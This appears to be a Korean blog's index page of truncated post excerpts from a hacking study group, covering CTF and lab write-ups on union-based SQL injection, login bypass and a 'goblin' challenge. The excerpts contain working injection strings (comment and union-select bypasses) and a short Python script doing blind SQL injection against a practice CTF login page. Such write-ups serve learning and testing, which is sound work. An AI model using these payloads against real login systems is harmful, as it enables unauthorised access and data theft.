전체 글

Nomaltic Hacking Study

Union SQLi, Err SQLi 실습

Union SQLi 추측 orverwatch 검색 - select ? from ? where 컬럼?='overwatch' wartch 검색 - select ? from ? where 컬럼? like '%watch%' 취약점 확인 watch%' # watch%' and '1%'='1 컬럼 수 확인 watch%' order by 3# - 출력 watch%' order by 4# - 출력 watch%' order by 5# - 에러 컬럼 4개 data 출력 위치 확인 watch%' union select '1','2','3','4 결과 2,3,4%출력 db 이름 확인 watch%' union select '1',database(),'3','4 출력된 이름 : segfault_sql 테이블 이름 확인 infor..

Nomaltic Hacking Study

2023.04.2

* 웹 개발 -> 백엔드 코드가 더 중요 but 외형도 조금은... -> bootstrap -> 문제풀이 wriote up 1)만든 사이트의 write up 2) write up 쓸때 flag를 모자이크.. 죄송합니다... ->ctf 문제는 정답을 보지 않는다, -------------------------------------------------- *review >로그인 인증 : 식별(user가 있나)/인증(user가 맞나) >SQL Injection : 공격자가 sql질의문 삽입 db에서 날라오는 데이터를 변경하여 로그인 인증 우회 : 데이터 추출 공격자가 원하는 데이터에 select문을 삽입 1) secritdb를 찿아 출력하기 2) member 테이블 추측 orverwatch 검색 - selec..

모의해킹 및 보안

로그인 로직 구현 및 SQL Injection 실행

case 1. 식별과 인증을 동시에 하는경우 위 경우는 다음 방법을 통하여 로그인 가능하다ex' union select 'ex','dfd','dfd','dfd'#다만 위와 같은 union select문의 경우 쿼리수와 쿼리의 타입을 맞춰주어야 한다. case1과 같이 dfd라는 비밀번호로 로그인이 가능했다. 정렬 또한 마찬가지로 하였다. case 2-1. 받은 함수가 암호화 된 경우위의 경우는 비밀번호를 해시암호화된 비밀번호와 비교를 하는 경우이다. 즉, 비밀번호에 입력된 값이 암호화되기 때문에 union select 로 새로운 데이터를 만들어도 로그인이 되지 않을 것이다. 실제로 union select 'ex','1','1'',1'#을 해 본 결과 로그인 되지 않는다. 만약 위와 같이 비밀번호를 암호화..

Nomaltic's Hacking Traning!!

Login Bypass 4

normaltic4 계정으로 로그인하는것이 목표이다. mario/mariosuper가 아이디와 패스워드다. mario'# 으로 로그인이 되며 비밀번호가 다를경우 로그인 되지 않는다. mario' or '1'='1'#은 로그인되지 않는다. mario' #은 로그인되는걸로보아 공백은 문제가 아니다. mario' and '1'='1'#은 로그인이 된다. 결론적으로 or가 필터링 되어 추출되거나 or가 들어가면 로그인이 안된다는 것이다. 따라서 oorr을 넣어 or가 추출되는지 확인해보았다. 로그인되지 않는다. or는 추출되는것이 아닌 로그인 자체를 못하게 하는 것이다. or연산자인 ||또한 로그인 되지 않는다. 그러면 union select도 확인해보자. 우선 컬럼값을 알기 위해 3번문제에서 작성한 코드를 돌..

Nomaltic's Hacking Traning!!

Login Bypass 3-1

생각해보니까 이거 참 거짓으로 비밀번호를 통쨰로 뜯어올 수 있을 것 같다. import requests url = 'http://ctf.segfaulthub.com:9999/login3/login.php' for i in range(1, 101): payload = { 'UserId': f"mario' and length(database())={i}#", 'Password': 'mariosuper', 'Submit': 'Login' } response = requests.post(url, data=payload) if 'Warning' not in response.text: print(f"Found: {i}") break 다음 코드로 db이름 길이를 구했다. 13이다. 다음은 db의 이름을 구할것이다. ..

Nomaltic's Hacking Traning!!

Login Bypass 3

mario / mariosuper 아이디 비번이 제공되었고 normaltic3으로 로그인 하는것이 목적이다. mario'#을 넣어보니 로그인이 되지 않았다. 그렇다면 #, '이 사용불가이거나 로그인 로직이 sql문으로 아이디와 비번을 동시에 검색해서 그 결과값이 있는지 확인하는 방식이 아니란 것이다. 그렇다면 mario'#에 mariosuper을 넣어보도록 하겠다. 로그인이 성공적으로 된다. 즉, '나 #이 추출되거나 사용이 안되는 경우가 아니다. 그렇다면 sql문으로 아이디 혹은 아이디와 비밀번호 동시검색 후 비밀번호가 db의 비밀번호와 맞는지를 확인한다는 것이다. 이번에는 union select 문을 사용해보겠다. 다만 이 경우는 컬럼의 갯수와 어느 컬럼에 id와 password가 존재하는지 알아야 ..

Nomaltic's Hacking Traning!!

Login Bypass 2

여기서 목적은 normaltic2로 로그인 하는 것이다. 기본적으로 주어진 공격자 id, password는 mario와 mariosuper이다. sql injection을 위해 mario로 로그인을 하고 이를통해 로그인 로직과 sql문을 학인해보도록 하겠다. 우선 가장 쉬운 방법인 주석을 이용하기 위해 mario'#을 사용해보았다. 로그인 정보가 맞지 않을 때 뜨는 문구인 warming이 없는것으로 보아 로그인이 성공한 것을 확인하였다. 그렇다면 normaltic2 또한 같은방법으로 로그인 할 수있다. 성공적으로 flag를 빼앗았다.

CTF문제풀이

3. goblin

query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>위 코드에서 solve()함수를 실행시키는 것이 목표이다.위 목표를 위해서 sql injection을 해야하는데 id값이 guest로 고정이다. 또한 ',`," 문자가 preg_match로 막혀있다. 우선 repater를 사용해서 no값을 1부터 무작위로 넣어보는 방법이 있다. 지난번에 작성해놓은 파이썬 코드를 사용해보도록 하자. 그 결과 gues..

잉여토끼
IQ Spoofing